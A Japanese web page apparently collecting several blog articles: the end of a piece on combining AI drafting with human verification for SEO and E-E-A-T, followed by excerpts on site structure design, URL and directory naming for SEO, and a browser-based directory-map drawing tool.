執筆という作業を層に分解すると、どこをAIに任せ、どこを人間が握るべきかが見えてきます。 観点AIが持つべき人間が持つべき初稿の生成・構造化◎△網羅性（抜け漏れ潰し）◎○事実・数値の検証✕◎一次体験・現場の実感✕◎逆張り・独自の主張△◎最終的な責任・署名✕◎書式・SEO／AI検索最適化◎○ 一言でまとめると、AIは“広さと速さ”、人間は“深さと責任”。役割が違うだけで、優劣ではありません。 誤解を正す：Googleは「AIが書いたか」で評価しない よくある誤解を一つ潰します。Googleは「AIが書いたから」という理由でペナルティを科すわけではありません。Google検索セントラルの公式ガイダンスは一貫していて、問題視するのは制作方法ではなく「検索順位の操作を主目的とした、独創性のない役に立たないコンテンツ」です。人間が書いた薄い記事も、等しく評価されません。 むしろ注意すべきは、その先です。Googleはスパムに関するポリシーで「大規模に量産された、検索エンジン向けの質の低いコンテンツ（scaled content abuse）」を明確に対象化しています。ここでも軸は“自動化かどうか”ではなく“質と目的”。つまりAIで量産すること自体ではなく、検証も経験も伴わないまま数だけ増やす行為が罰の対象になります。AIライティングのリスクは「AIを使うこと」ではなく「人間の工程を省くこと」に宿るわけです。 評価軸は品質・有用性、そしてE-E-A-T（経験・専門性・権威性・信頼性）です。つまりAIを使うこと自体は問題ではなく、検証と経験が抜け落ちた“中身の薄さ”が沈む原因になります。E-E-A-Tの考え方はE-E-A-Tとは？検索評価と信頼性を高める方法で詳しく解説しています。 AIが下書きした記事にE-E-A-Tを宿す具体策 「AIを使うと評価されない」のではなく、「E-E-A-Tの欠けたコンテンツが評価されない」だけ。ならば、AIが苦手なE-E-A-Tを人間が後から補えばいい。具体的には次の5点です。 著者と責任主体を明示する（Trust）。誰が最終的に内容を保証しているのかを、著者情報やプロフィールで示す。AIには持てない“署名”を人間が与える。 一次体験を書き足す（Experience）。実際に試した手順・つまずき・所要時間など、やった人にしか書けない事実を入れる。ここがAIには最も埋められない層です。 数値には出典を添える。統計や割合は、必ず調査元と年を明記する。裏が取れないものは、思い切って削る。 更新日を保つ。知識の区切りで古びやすいのがAIの弱点。人間が最新情報を反映し、更新日を正しく示す。 独自の主張を一つ入れる。平均に戻りがちなAIの初稿へ、人間が現場で得た“言い切れる結論”を足す。ここが他記事との差になる。 この5点はどれも、AIが構造的に苦手な領域と一対一で対応しています。つまりAIの弱点リストは、そのまま人間が価値を出すべきチェックリストでもあるのです。 読み手がAIになった時代の「良い文章」 さらに時代がもう一段進みました。読み手はもう人間だけではありません。AI Overviewやチャット検索が記事と読者の間に挟まり、コンテンツは“別のAIに読まれて要約される”ようになりました。 すると「良い文章」の条件が変わります——定義を先に出す、事実の密度を上げる、引用できる断言を置く、構造化する。皮肉なことに、AIが下書きした記事はこの形に整えやすい。この最適化の考え方はAIO・AEO・GEO・LLMOとは？に、AI検索で引用されるための具体策はAI検索で引用されない場合の3つの対策にまとめています。ただし、これも条件付き——人間が検証と経験を注いだ場合に限り、です。 実務の答え：AIドラフト→人間検証→AI仕上げ 「AIか人間か」で悩むのは、もう問いの立て方が古い。実務で勝つのは、両者を工程で組み合わせたパイプラインです。 AIが下書き。構成・網羅・初稿を一気に出し、白紙を埋める。 人間が検証と注入。事実と数値を裏取りし、一次体験・現場判断・尖った主張を足し、そして間違いを削る。ここが命です。 AIで仕上げ。AI検索に引用される形（定義先出し・FAQ・構造化）へ整える。 工程②を飛ばした瞬間、それは「AIが書いた記事」ではなく「誰も責任を取っていない記事」になります。AIと人間の差は、まさにそこに出ます。 具体例：人間の検証が入ると、何が変わるか 工程②「人間の検証と注入」が具体的に何をするのかを、AI下書きのままの状態と対比すると分かりやすくなります。 観点AI下書きのまま人間が検証・加筆した後数値・データ「約◯％改善」と出典なしで断言出典を確認して数値と調査元を明記。裏が取れなければ削除する事例「多くの企業が…」と一般論で流す自分が関わった現場の具体的な事実に差し替える主張の角度当たり障りのない無難な結論現場で得た確信に基づいて言い切り、想定される異論にも触れる誤り存在しない仕様が紛れても気づかない実際に手を動かして検証し、間違いを削る 見てのとおり、人間が足すのは“文章”ではありません。事実・経験・判断・責任です。AIライティングの質は、この工程にどれだけ人間の手を入れられるかでほぼ決まります。 人間ライターは不要になる？ 答えは逆です 生成がタダ同然になったことで、“文章を書けるだけ”の価値は暴落しました。しかし同時に、“何が本当で何が重要かを判断でき、それに責任を負える”人間の価値は上がりました。 仕事が消えたのではなく、価値の置き場所が「執筆」から「判断・検証・責任」へ移動しただけです。ここに乗り換えられた書き手は、むしろAIで生産量を何倍にも伸ばしています。 これから価値が上がる、人間側の3つの役割 「執筆」が自動化されたあと、人間に残る——というより価値が上がる仕事は、大きく3つに整理できます。いずれも、私（AI）が構造的に担えない層です。 検証者。AIの出力の事実を裏取りし、一次情報で担保する。ハルシネーションを止める最後の砦であり、責任を引き受ける主体でもある。 編集者。平均的で無難なAIの初稿に、角度・構成・語りのリズムを与える。何を残し、何を切るかを決める判断がここに集約される。 戦略家。そもそも「何を書くべきか」「誰に何を約束するか」を決める。AIは問いに答えられても、問い自体を選べない。ここが最上流の価値です。 ### [サイト構造の設計手順｜ページ洗い出しから階層を組み立てる情報設計のやり方](https://codequest.work/site-structure-information-architecture/) サイト構造の設計とは、サイトに載せる情報をすべて洗い出し、似たものをグループにまとめ、親子の階層に組み立てる「情報設計」の工程です。ページをいきなり作り始めるのではなく、「何のページが必要で、どう分類し、どの階層に置くか」を先に決めます。結論から言えば、進め方は「①洗い出す → ②グループ化する → ③階層に組む → ④図にして確認する」の4ステップで、この順番を踏むだけで破綻しないサイト構造が作れます。 サイト制作でありがちなのが、トップページから作り始めて、必要になるたびにページを足していくやり方です。これだと分類の基準が途中で変わり、階層がちぐはぐになり、あとから「このページはどこに置くべきだったのか」と迷子になります。サイト構造は、ページを1枚も作る前に決めておくのが最も手戻りが少ないのです。 この記事では、サイト構造・階層設計のやり方を、ページの洗い出しからグループ化、階層の組み立て、図への落とし込みまで手順に沿って解説します。作った構造は、そのままディレクトリマップで図にし、URL設計へとつなげられます。この記事はその一番上流にあたる「設計思考」の工程です。 サイト構造の設計とは：情報を洗い出して階層に組むこと サイト構造の設計は、情報アーキテクチャ（情報設計）とも呼ばれます。サイトに載せる情報を整理し、ユーザーが目的の情報にたどり着けるように配置する設計のことです。Nielsen Norman Groupは情報アーキテクチャを「コンテンツを構造化し、整理し、ラベル付けする実践」と説明しており、サイトの分かりやすさを左右する土台と位置づけています（Nielsen Norman Group「Information Architecture」）。 やることはシンプルで、「載せる情報を全部出す → 似たものをまとめる → まとまりを階層にする」だけです。難しく考える必要はありません。ただし、この順番を飛ばして「なんとなく」で分類すると、あとで必ず破綻します。まずは全体を出し切ることから始めます。 なぜ最初にサイト構造を設計するのか サイト構造を最初に設計するのは、あとから直すコストが大きいからです。構造が決まっていないままページを増やすと、次のような問題が積み重なります。 分類の基準がぶれる： 途中でカテゴリの切り方が変わり、同じ種類のページが別々の場所に散らばる。 階層が深くなる： 置き場所に迷ったページを「とりあえず下の階層」に押し込み、どんどん深くなる。 ナビゲーションが破綻する： 構造がないままメニューを作るため、ユーザーが目的のページにたどり着けない。 URLもバラつく： 構造が定まらないとURLの階層も一貫せず、あとでURL変更という重い作業が必要になる。 逆に言えば、最初に構造を固めておけば、これらはまとめて防げます。設計にかける数時間が、公開後の何十時間もの手戻りを防ぐ投資になります。 サイト構造は、ナビゲーションやSEOの土台にもなります。整理された構造はグローバルメニューやパンくずにそのまま反映でき、ユーザーが迷わず回遊できます。検索エンジンにとっても、階層が整理されたサイトはページの関係を理解しやすく、内部リンクも自然に張れます。つまりサイト構造の設計は、見た目を作る前の「サイトの背骨」を決める作業であり、あとの工程すべてに影響します。 手順①：ページを洗い出す 最初の工程は、サイトに載せる可能性のある情報・ページをすべて書き出すことです。この段階では分類も順番も気にせず、思いつくものを付箋やリストにどんどん出していきます。「会社概要」「料金」「よくある質問」「事例」「お問い合わせ」「ブログ記事」……と、粒度もバラバラでかまいません。まずは量を出し切ることが目的です。 洗い出しの視点は2つあります。1つは「事業者として載せたい情報」（サービス内容・実績・会社情報など）、もう1つは「ユーザーが知りたい情報」（料金・比較・使い方・不安の解消など）です。特に後者を忘れると、作り手都合の使いにくいサイトになります。両方の視点から出すことで、抜け漏れが減ります。 たとえば小さな制作会社のサイトなら、洗い出しの段階では次のようなページ候補が出てきます。この時点では並び順も分類も気にせず、思いつくままに挙げていきます。 トップ／サービス一覧／サービス個別（Web制作・ロゴ制作など）／料金 制作実績／実績個別／お客様の声 会社概要／代表あいさつ／採用情報 ブログ記事／よくある質問／お問い合わせ／プライバシーポリシー 粒度がバラバラでも問題ありません。「サービス個別」のように複数ページになるものと、「料金」のような1ページのものが混ざっていても、この段階では気にせず全部出し切ります。次のグループ化で整えていきます。 手順②：グループ化する（カードソート） 次に、洗い出したページを似たもの同士でグループにまとめます。付箋を動かしながら「これとこれは同じ仲間」とまとめていく作業で、情報設計ではカードソートと呼ばれます。「サービス」「実績」「会社案内」「サポート」のように、いくつかの大きなまとまり（＝カテゴリ候補）が見えてきます。 グループ化のコツは、「作り手の組織図」ではなく「ユーザーの探し方」で分けることです。社内の部署別に分けると、ユーザーには意味不明な分類になりがちです。「ユーザーはこの情報をどんなカテゴリで探すか」を基準にまとめると、直感的にたどれる構造になります。分類に迷ったら、MECE（モレなくダブりなく）を意識して、1つのページが複数のグループに入らないように整理します。 先ほどの制作会社の例なら、洗い出したページは「サービス」「実績」「会社案内」「サポート・その他」の4グループにまとまります。サービス一覧・サービス個別・料金はサービスへ、制作実績・実績個別・お客様の声は実績へ、会社概要・代表あいさつ・採用は会社案内へ、といった具合です。ブログやお問い合わせ、ポリシー類はサポート・その他にまとめます。この4つが、次の階層でカテゴリになります。 手順③：階層に組み立てる グループができたら、親子の階層に組み立てます。大きなまとまりを親（カテゴリ）にし、その中の個別ページを子として並べます。ここでの原則は、「浅く保つ」ことです。トップから2〜3階層で目的のページに届く構造が理想で、深くなりそうなときは、無理に潜らせず親カテゴリを増やして横に広げます。 階層を組むときは、各カテゴリに入るページ数のバランスも見ます。1つのカテゴリだけページが極端に多い、あるいは1ページしかないカテゴリがある、といった偏りは、分類の見直しサインです。「どのカテゴリもだいたい同じくらいの規模」に近づくと、メニューもきれいに収まります。 制作会社の例で階層に組むと、トップの下に「サービス」「実績」「会社案内」の3カテゴリを置き、それぞれの下に個別ページをぶら下げる形になります。「料金」はサービスの下、「お客様の声」は実績の下、というように、親カテゴリを見れば子ページの位置づけが分かる状態が理想です。お問い合わせやポリシーのような全ページ共通のものは、カテゴリに入れずフッターなどからたどれるようにすると、階層をすっきり保てます。こうしてトップ→カテゴリ→個別ページの2〜3階層に収まれば、浅い構造の完成です。 手順④：ディレクトリマップに落として確認する 組み立てた階層は、最後に図にして全体を確認します。頭の中やリストのままだと、階層の深さや偏り、抜け漏れに気づきにくいためです。フォルダとページの親子関係を図にしたものがディレクトリマップで、これを1枚作ると「どのページがどの階層にあるか」がひと目で分かり、設計のミスを早い段階で発見できます。作り方はディレクトリマップの作り方｜フォルダ構成を図にする無料ツールの使い方で解説しています。 図で構造が固まったら、次は各ページに具体的なURLを割り当てていきます。ディレクトリの階層をどんなURLに落とし込むか、命名をどうそろえるかは、URL設計・ディレクトリ構造の決め方【SEO観点】で解説しています。「洗い出し → 図 → URL」の順に進めると、設計から実装まで一本の流れでつながります。 サイト構造の代表的な型 サイト構造にはいくつかの典型的な型があります。作るサイトの目的に合った型を選ぶと、階層設計が進めやすくなります。 型特徴向いているサイト階層型（ツリー）トップ→カテゴリ→個別ページと枝分かれする基本形企業サイト・情報量の多いサイト全般直線型（シーケンス）ページを順番にたどらせる一本道チュートリアル・申込みフローハブ&スポーク中心となる軸ページから関連ページへ放射状に展開特定テーマを深掘りするコンテンツ群 多くのサイトは階層型を基本に、一部で直線型やハブ&スポークを組み合わせます。まずは全体を階層型で組み、申込みや特集など特定の目的の部分だけ別の型を使う、と考えると設計しやすくなります。 型を意識すると、グローバルナビゲーション（サイト上部のメニュー）の設計も決まりやすくなります。階層型なら、トップに置いた親カテゴリがそのままメニュー項目になります。メニューはおおむね5〜7項目に収めるのが目安で、これを超える場合は、カテゴリを統合できないか、あるいは一部をフッターや下層に移せないかを見直します。ナビゲーションがすっきり収まるかどうかは、構造がうまく整理できているかのよい判断材料になります。 やりがちな失敗パターン サイト構造の設計でつまずきやすいポイントを、原因とあわせてまとめます。 失敗パターン何が問題か作り手都合の分類社内の部署や都合で分け、ユーザーが情報を探せない階層が深すぎる重要ページが埋もれ、クリック数が増えて離脱される粒度がバラバラ大分類と個別ページが同じ階層に混在し、構造が読めない1ページだけのカテゴリ中身が1つしかない分類ができ、メニューが不自然になる洗い出し不足のまま着手後から必要なページが出て、構造を作り直すはめになる これらの多くは、「洗い出し」と「ユーザー視点のグループ化」を省いたことが原因です。最初の2ステップを丁寧にやれば、大半の失敗は防げます。 サイト構造設計チェックリスト ページを作り始める前に、次の項目を確認しておきましょう。 載せる情報・ページを、事業者視点とユーザー視点の両方から洗い出したか ユーザーの探し方を基準にグループ化し、MECEに整理したか トップから2〜3階層で主要ページに届く、浅い構造になっているか 各カテゴリのページ数に極端な偏りがないか ディレクトリマップに落として、全体を図で確認したか その構造をもとに、URL設計へ進める状態になっているか よくある質問（FAQ） Q. サイト構造の設計は制作のどの段階でやりますか？ ページを作り始める前、企画・要件定義の直後が理想です。デザインや実装に入ってから構造を変えると手戻りが大きくなるため、最初に固めておきます。 Q. 情報アーキテクチャとサイト構造は同じ意味ですか？ ほぼ同じ意味で使われます。情報アーキテクチャ（情報設計）は情報を構造化・整理・ラベル付けする考え方で、その結果としてできあがるページの階層構造がサイト構造です。 Q. カードソートとは何ですか？ 洗い出したページ（カード）を似たもの同士でグループにまとめる手法です。付箋やカードを動かしながら分類することで、ユーザーが直感的に探せるカテゴリを見つけられます。 Q. 階層はどれくらいの深さにすべきですか？ トップから2〜3階層で主要ページに届くのが目安です。深くなりそうなときは、下に潜らせるのではなくカテゴリを増やして横に広げると、浅さを保てます。 Q. サイト構造とサイトマップは違うものですか？ サイト構造は情報の階層そのもの、サイトマップはそれを図や一覧で表したものです。設計したサイト構造をディレクトリマップとして図にすると、全体像を確認・共有しやすくなります。 ### [URL設計・ディレクトリ構造の決め方【SEO観点で失敗しないルール】](https://codequest.work/url-directory-structure-seo/) URL設計とは、サイトの各ページに割り当てるアドレス（URL）の構造を、公開前にあらかじめ決めておくことです。「どのカテゴリをどんな階層に置き、各ページのURLをどう命名するか」を最初に設計しておくと、後からの変更で順位を落とすリスクを避けられ、検索エンジンにもユーザーにも分かりやすいサイトになります。結論から言えば、SEOに強いURLは「浅い階層・意味のある英単語・ハイフン区切り・短い」の4点を満たすものです。 Webサイトを作り始めるとき、URLやフォルダ構成は「あとで整えればいい」と後回しにされがちです。しかしURLは公開後に変更すると被リンクや評価が一度リセットされるため、実際にはもっとも早い段階で固めておきたい設計です。行き当たりばったりで増やしたページは、階層が深くなったり命名がバラバラになったりして、あとから直すコストが跳ね上がります。 この記事では、SEO観点でのURL設計とディレクトリ構造の決め方を、基本ルールから失敗パターン、既存URLを変えるときの注意点、公開前のチェックリストまで順に解説します。全体像を図にして整理してから設計に入りたい場合は、ディレクトリマップの作り方｜フォルダ構成を図にする無料ツールの使い方で先にサイトの見取り図を作っておくと、この記事の内容がそのまま落とし込めます。 URL設計とは：ページのアドレス構造を先に決めること URL設計とは、サイト内の各ページにどんなURLを与えるかを、階層と命名の両面からあらかじめ決めることを指します。URLは大きく「ドメイン（example.com）」「ディレクトリ（/blog/ のようなフォルダ階層）」「スラッグ（url-design のような各ページ固有の文字列）」に分かれます。このうちディレクトリとスラッグの設計が、SEOとサイトの分かりやすさに直結します。 たとえば https://example.com/blog/url-design/ というURLなら、「このサイトのブログの中の、URL設計というページ」だと構造から読み取れます。URL設計のゴールは、こうした「URLを見ただけでページの位置と内容が分かる」状態を、サイト全体で一貫して作ることです。 なぜURL設計がSEOで重要なのか URL設計がSEOで重要なのは、URLが「一度決めると変えにくい土台」だからです。理由は大きく3つあります。 変更コストが高い： 公開後にURLを変えると、旧URLに付いた被リンクや検索評価は自動では引き継がれません。301リダイレクトで橋渡ししても一時的に順位が揺れることがあり、最初から正しく設計するのがいちばん安全です。 クロールとインデックスに影響する： 階層が整理され重複のないURLは、検索エンジンがページを効率よく発見・登録できます。逆にパラメータで無数のURLが生まれると、クロールの無駄が増えます。 ユーザーの信頼と可読性： 検索結果やSNSでURLが表示されたとき、意味の分かるURLはクリックの安心材料になります。Googleも、URLは人が理解できる説明的な言葉で構成することを推奨しています。 Googleは公式ドキュメントで、URLは数字やIDの羅列ではなく、人が読んで理解できる説明的な単語で構成し、単語の区切りにはハイフンを使うことを推奨しています（Google検索セントラル「URL構造のベストプラクティス」）。URL設計は小手先のテクニックではなく、この公式の考え方に沿ってサイト全体を一貫させる作業です。 ディレクトリ構造の基本：浅く・意味のある階層に ディレクトリ構造とは、URLの中のフォルダ階層（/blog/seo/url-design/ の /blog/seo/ の部分）のことです。基本方針は「できるだけ浅く、階層ごとに意味を持たせる」ことです。トップページから2〜3階層で目的のページに届く構造が、ユーザーにも検索エンジンにも理解しやすくなります。 観点望ましい構造避けたい構造階層の深さ/blog/seo/url-design/（2〜3階層）/2026/07/category/sub/detail/page/（深すぎる）階層の意味フォルダ名がカテゴリを表す（/blog/ /service/）フォルダ名が /p1/ /a/ など意味不明一貫性同じ種類のページは同じ階層にそろえるページごとに階層のルールがバラバラ 階層は深いほどSEOに不利になる、という単純な話ではありませんが、深い階層は「そのページが重要でない」という誤解をユーザーに与えやすく、内部リンクもたどりにくくなります。まずは大分類（カテゴリ）を数個に絞り、その下に各ページをぶら下げるという浅いツリーを目指しましょう。 階層を浅く保つコツは、「1つのカテゴリに入るページが増えすぎたら、無理に下へ潜らせずカテゴリ自体を分ける」ことです。たとえばブログ記事が増えてきたら、/blog/ の下をさらに深くするのではなく、/blog/seo/ /blog/design/ のように横に分類を足していきます。縦（深さ）ではなく横（分類の数）で広げると、どのページも浅い位置に保てます。この分類作業こそ、次に説明するカテゴリ設計の中心です。 URL命名規則：英小文字・ハイフン・短く内容を表す 各ページのスラッグ（URL末尾の固有部分）の命名には、守るべき定番ルールがあります。次のポイントを押さえておけば、大きく外すことはありません。 英小文字を使う： 大文字と小文字が混在すると、環境によって別URLと扱われる場合があります。すべて小文字に統一します。 単語の区切りはハイフン（-）： Googleはハイフンを単語の区切りとして認識します。アンダースコア（_）は語をつなげて扱われるため、区切りには使いません。 内容を表す短い単語に： /url-design/ のように、そのページの内容が伝わる単語を選びます。/page1/ や長いIDの羅列は避けます。 日本語URLは慎重に： 日本語URLはコピー時に長いエンコード文字列（%E3%…）になり、共有時に読みにくくなります。基本は英単語のスラッグを推奨します。 余計な語を詰め込まない： キーワードを何個も並べたURLは不自然です。1ページの主題を表す2〜3語程度に収めます。 具体的に、良いスラッグと避けたいスラッグを並べると違いが分かりやすくなります。 ページ内容良いスラッグ避けたいスラッグURL設計の解説記事/url-design//page-01/、/2026/07/123/料金ページ/pricing//ryoukin_page_final2/会社概要/about//AboutUs/（大文字混在）お問い合わせ/contact//お問い合わせ/（日本語） ポイントは、そのページを一言で表す普遍的な英単語を選ぶことです。「final」「new」「02」のような一時的な語や連番は、あとで意味が分からなくなるため避けます。見出しの付け方でもキーワードと構造の一貫性が問われるので、ページ内の見出し設計とあわせて整えたい場合は、h1〜h6見出しタグの正しい使い方とSEO対策【完全ガイド】も参考になります。 カテゴリ設計とURL階層を対応させる URL設計でつまずきやすいのが、カテゴリ（サイトの分類）とURLの階層をどう対応させるかです。理想は、サイトの情報分類とURLのディレクトリ階層が一致していることです。「サービス」というカテゴリがあるなら /service/ の下にサービス関連ページを、「ブログ」なら /blog/ の下に記事を置く、というように分類とフォルダを一対一で対応させると、構造が破綻しません。 この対応づけは、頭の中だけで考えると抜け漏れが出ます。そこで役立つのが、フォルダとページの階層を図にするディレクトリマップです。先に全ページを図に並べてカテゴリごとにグループ化しておけば、「このページはどの階層に置くか」がひと目で決まり、そのままURLのディレクトリ構造に落とし込めます。図から設計に入りたいときは、ディレクトリマップの作り方｜フォルダ構成を図にする無料ツールの使い方で見取り図を作ってから、この記事のルールでURLを付けていくとスムーズです。 パンくずリストと階層を一致させる パンくずリストとは、「ホーム > ブログ > SEO > URL設計」のように、現在のページがサイトのどこに位置するかを示すナビゲーションです。パンくずはURLのディレクトリ構造と一致させるのが原則です。URLの階層とパンくずの階層がずれていると、ユーザーも検索エンジンもサイト構造を誤解します。 パンくずは構造化データ（BreadcrumbList）でマークアップすると、検索結果にパンくず形式で表示されることがあり、階層が視覚的に伝わりやすくなります。URL・パンくず・構造化データの3つが同じ階層を指している状態が、いちばん誤解のない設計です。つまりURL設計は、パンくずと構造化データまで含めて「同じ地図を共有する」作業だといえます。 URLの正規化・重複を避ける 同じ内容のページが複数のURLで存在すると、検索評価が分散します。これを防ぐのがURLの正規化です。とくに次のような「見た目は違うが中身は同じ」URLに注意します。 wwwあり／なし： www.example.com と example.com のどちらかに統一する。 末尾スラッシュあり／なし： /url-design/ と /url-design を混在させず、サイト全体でそろえる。 httpとhttps： httpsに統一し、httpはhttpsへリダイレクトする。 パラメータ付きURL： 並べ替えやトラッキング用のパラメータで同じページが増える場合は、canonicalタグで正規URLを指定する。 重複は「別URLに同じ内容」だけでなく、「別ページなのに内容が似すぎている」場合にも起こります。狙うキーワードが近いページが複数あると、自サイト内で順位を食い合うことがあります。この現象についてはカニバリゼーションとは？自分のサイト同士で検索順位を食い合う現象を解説で詳しく解説しています。 やりがちな失敗パターン URL設計でよく見かける失敗を、原因とあわせてまとめます。あてはまるものがないか確認してみてください。 失敗パターン何が問題か階層が深すぎる重要なページが埋もれ、内部リンクもたどりにくくなる日付や連番のURL/2026/07/123/ のようなURLは内容が読み取れず、記事の位置づけも伝わらないパラメータの乱立同じ内容のURLが無数に生まれ、クロールと評価が分散する日本語URLの多用共有時にエンコードされて読めなくなり、リンクも扱いにくい命名がバラバラ同種のページで階層や命名ルールが違い、構造が理解されない公開後の安易な変更リダイレクト漏れで404が増え、評価がリセットされる これらの多くは、設計せずにページを増やしたことが原因です。先に全体の構造を決めておけば、その場の判断でURLがバラつくことを防げます。 既存URLを変えるときの注意（301リダイレクト） すでに公開しているページのURLを変えるときは、旧URLから新URLへ301リダイレクト（恒久的な転送）を必ず設定します。301を設定すると、旧URLに蓄積された評価の大部分が新URLへ引き継がれ、旧URLへのアクセスや被リンクも新URLへ流れます。これを省くと、旧URLは404になり、それまでの評価が失われます。 ただし、リダイレクトは万能ではありません。転送を挟むぶん一時的に順位が揺れることもあるため、URLはそもそも変えずに済むよう最初に設計しておくのが最善です。どうしても変更が必要なときは、変更対象を洗い出し、旧→新の対応表を作ってから一括でリダイレクトを設定し、公開後にリダイレクト漏れや404が出ていないかを必ず確認します。 URL設計チェックリスト 公開前に、次の項目を確認しておきましょう。 ### [ディレクトリマップ（フォルダマップ）の作り方｜フォルダ構成を図にする無料ツール](https://codequest.work/directory-map-guide/) ディレクトリマップ（フォルダマップ）とは、フォルダとファイルの階層構造を1枚の図にまとめたものです。どのフォルダの下にどのファイルがあるか、親子関係を線でつないで視覚的に表します。READMEに載せるツリー図、Webサイトのページ構成図、プロジェクトのフォルダ構造ドキュメントなど、「構造を人に伝えたい」場面で使われます。このツールを使えば、ブラウザ上でノードをドラッグしてつなぐだけで作図でき、PNG画像やREADMEにそのまま貼れるMarkdownのツリー図として書き出せます。 ディレクトリマップ作成ツールを使ってみる → フォルダ構造を人に説明したいとき、テキストだけの箇条書きでは階層の深さや枝分かれが伝わりにくく、かといって作図ツールを一から覚えるのは面倒——。README用のツリー図やサイトの構成図を「そこそこ見栄えよく、手早く」作りたいのに、ちょうどいい道具がない。そんなときに、フォルダとファイルの階層を図にすることだけに絞ったのがこのツールです。 この記事では、ディレクトリマップとは何かをかんたんに整理したうえで、CodeQuestが公開しているディレクトリマップ作成ツールの使い方と、見やすい図を作るコツを解説します。ノードの追加からコネクタでのつなぎ方、色やレイアウトの調整、PNG・Markdown・JSONでの書き出しまで、実際の操作に沿って紹介します。ブラウザだけで完結し、登録は不要です。 ディレクトリマップとは：フォルダ階層を1枚の図にしたもの ディレクトリマップは、ディレクトリ（フォルダ）とファイルの入れ子構造を、親子関係の線でつないで図にしたものです。「ディレクトリ」はフォルダとほぼ同じ意味で、その中にさらにフォルダやファイルが入っている階層構造を、木が枝分かれするように表現します。この形からツリー図（tree diagram）とも呼ばれます。また、フォルダの階層をそのまま図にすることから、フォルダマップと呼ばれることもあります。 たとえば「srcフォルダの下にcomponentsフォルダがあり、その中にbutton.tsxがある」という関係は、文章で説明すると回りくどくなりますが、図にすれば一目で伝わります。ディレクトリマップの役割は、この「どこに何があるか」という構造を、見た瞬間に把握できる形にすることです。プログラムのソースコード、Webサイトのページ、業務ファイルの整理など、階層をもつものなら何にでも使えます。 ディレクトリマップは何に使う？主な3つの場面 ディレクトリマップが役立つのは、おもに「構造を自分以外の誰か（未来の自分を含む）に伝えたい」場面です。代表的な3つを紹介します。 1. README用のツリー図（プロジェクト構成の説明） GitHubのREADMEやプロジェクトのドキュメントで「このリポジトリはどんなフォルダ構成になっているか」を示すツリー図は定番です。どのフォルダに何の役割があるかを図で示しておくと、初めてコードを読む人がどこを見ればいいか迷いません。CLAUDE.mdやエージェント設計などリポジトリ全体の設計を整理したいときは、Claude Codeのルール・エージェント設計術｜CLAUDE.mdとサブエージェント運用の実践知とあわせて、構成図から全体像を共有すると伝わりやすくなります。 2. Webサイトの構成図（サイトマップ） Webサイトを作るとき、トップページの下にどんなページがぶら下がるか、URLの階層をどう切るかを図にしておくと、制作前に全体像を共有できます。こうした構成図は情報設計（インフォメーションアーキテクチャ）の可視化ツールで、ページ同士の関係を視覚的に表すものです。Nielsen Norman Groupも、サイトマップは「情報空間の視覚的な表現を提供し、ユーザーがどこへ行けるかを理解する助けになる」と述べており、大規模で複雑なサイトほど効果が大きいとしています（Nielsen Norman Group「Information Architecture」）。 3. フォルダ構造のドキュメント化（整理・引き継ぎ） 業務ファイルや素材データのフォルダ構成をチームで共有したり、命名ルールを決めて引き継いだりするときにも、図にすると認識のズレが減ります。「どのフォルダに何を入れるか」を図で示せば、口頭やテキストの説明より正確に伝わり、あとから見返すドキュメントとしても機能します。 このツールでできること ディレクトリマップ作成ツールは、フォルダとファイルの構造図を「置く・つなぐ・書き出す」ことに特化しています。主な機能は次のとおりです。 機能内容ノードフォルダ📁・ファイル📄に加え、付箋・四角・円・ひし形を配置できる。ダブルクリックで名前を編集コネクタ（矢印）ノード同士を線でつないで親子関係を表現。形状は直角／直線、端は片方向矢印・双方向・矢印なしから選べる色設定色相環パレットから各ノードの色を指定。未設定時はテーマの既定色を適用自動整列・枝分かれほぼ揃った親子の矢印は自動でまっすぐ整列し、同じ親から伸びる複数の線もきれいに枝分かれズーム・スクロールホイールでスクロール、⌘／Ctrl＋ホイールで拡大縮小。表示%クリックで100%にリセットダークモードダークモードを既定で搭載。☀／🌙ボタンでライト／ダークを切り替え書き出し・読み込みPNG画像、READMEに貼れるMarkdownのツリー図、JSONデータで保存。MarkdownとJSONは読み込んで図に戻せる自動保存編集内容はブラウザのlocalStorageに自動保存。次に開いたときも続きから作業できる ノードの種類は多いですが、基本はフォルダ📁とファイル📄の2つが主役で、これだけで階層は表せます。付箋・四角・円・ひし形は「ここは設定ファイル群」「この部分は外部連携」といった補足やグループ分けのための脇役と考えると迷いません。まずはフォルダとファイルで骨組みを作り、伝えたいポイントだけ図形や付箋で足す——という順番が、散らからず作るコツです。 作図したデータはすべてブラウザ内で処理され、外部のサーバーには送信されません。完全無料で、登録も不要です。 使い方：5ステップでディレクトリマップを作る 操作はおおきく5ステップです。むずかしい設定はなく、最初は「サンプル」を読み込んで動かしてみるのが早道です。 サンプルを読み込む： まず「サンプル」を開くと、フォルダとファイルがつながった状態のマップが表示されます。どんな図が作れるか、操作感を確かめる出発点になります。 ノードを追加する： フォルダ📁やファイル📄をキャンバスに置き、ダブルクリックで名前を入力します。付箋や四角などの補助ノードも使えます。 コネクタでつなぐ： 親ノードから子ノードへドラッグして線を引き、階層の親子関係を表します。 見た目を整える： ノードの色を変えたり、ドラッグで位置を調整したりして見やすく整えます。ほぼ揃った矢印は自動でまっすぐ整列します。 書き出す： 完成したら、PNG画像・Markdown・JSONのいずれかで保存します。ツールバーの書き出しボタンにカーソルを合わせると形式を選べます。 最初から完璧な図を目指す必要はありません。まず主要なフォルダだけを置いてつなぎ、あとから必要なファイルを足していくと、迷わず組み立てられます。 ノードを追加・編集する ディレクトリマップの部品となるのがノードです。中心となるのはフォルダ📁とファイル📄の2種類で、これだけで基本的なツリー図は組めます。さらに、補足を書き込む付箋や、グループを囲む四角、強調用の円・ひし形も使えるので、単なる階層図に注釈やまとまりを加えられます。 ノードの名前はダブルクリックで編集できます。「src」「components」「button.tsx」のように実際のフォルダ名・ファイル名を入れていきましょう。複数のノードは範囲選択（空きスペースをドラッグ）やShift＋クリックでまとめて選べ、そのまま一括で移動したり、コピー＆ペーストで複製したりできます。似た構成のフォルダが並ぶときは、1つ作って複製すると効率的です。 コネクタで階層をつなぐ ノードを置いたら、コネクタ（矢印）で親子関係をつなぎます。親フォルダから子フォルダ・子ファイルへドラッグして線を引くと、「このフォルダの中にこれが入っている」という階層が表現できます。矢印の形状は直角と直線から選べ、直角にするとファイルツリーらしい整った見た目になります。端の種類も、片方向の矢印・双方向（↔）・矢印なし（—）を切り替えられるので、用途に合わせて調整できます。 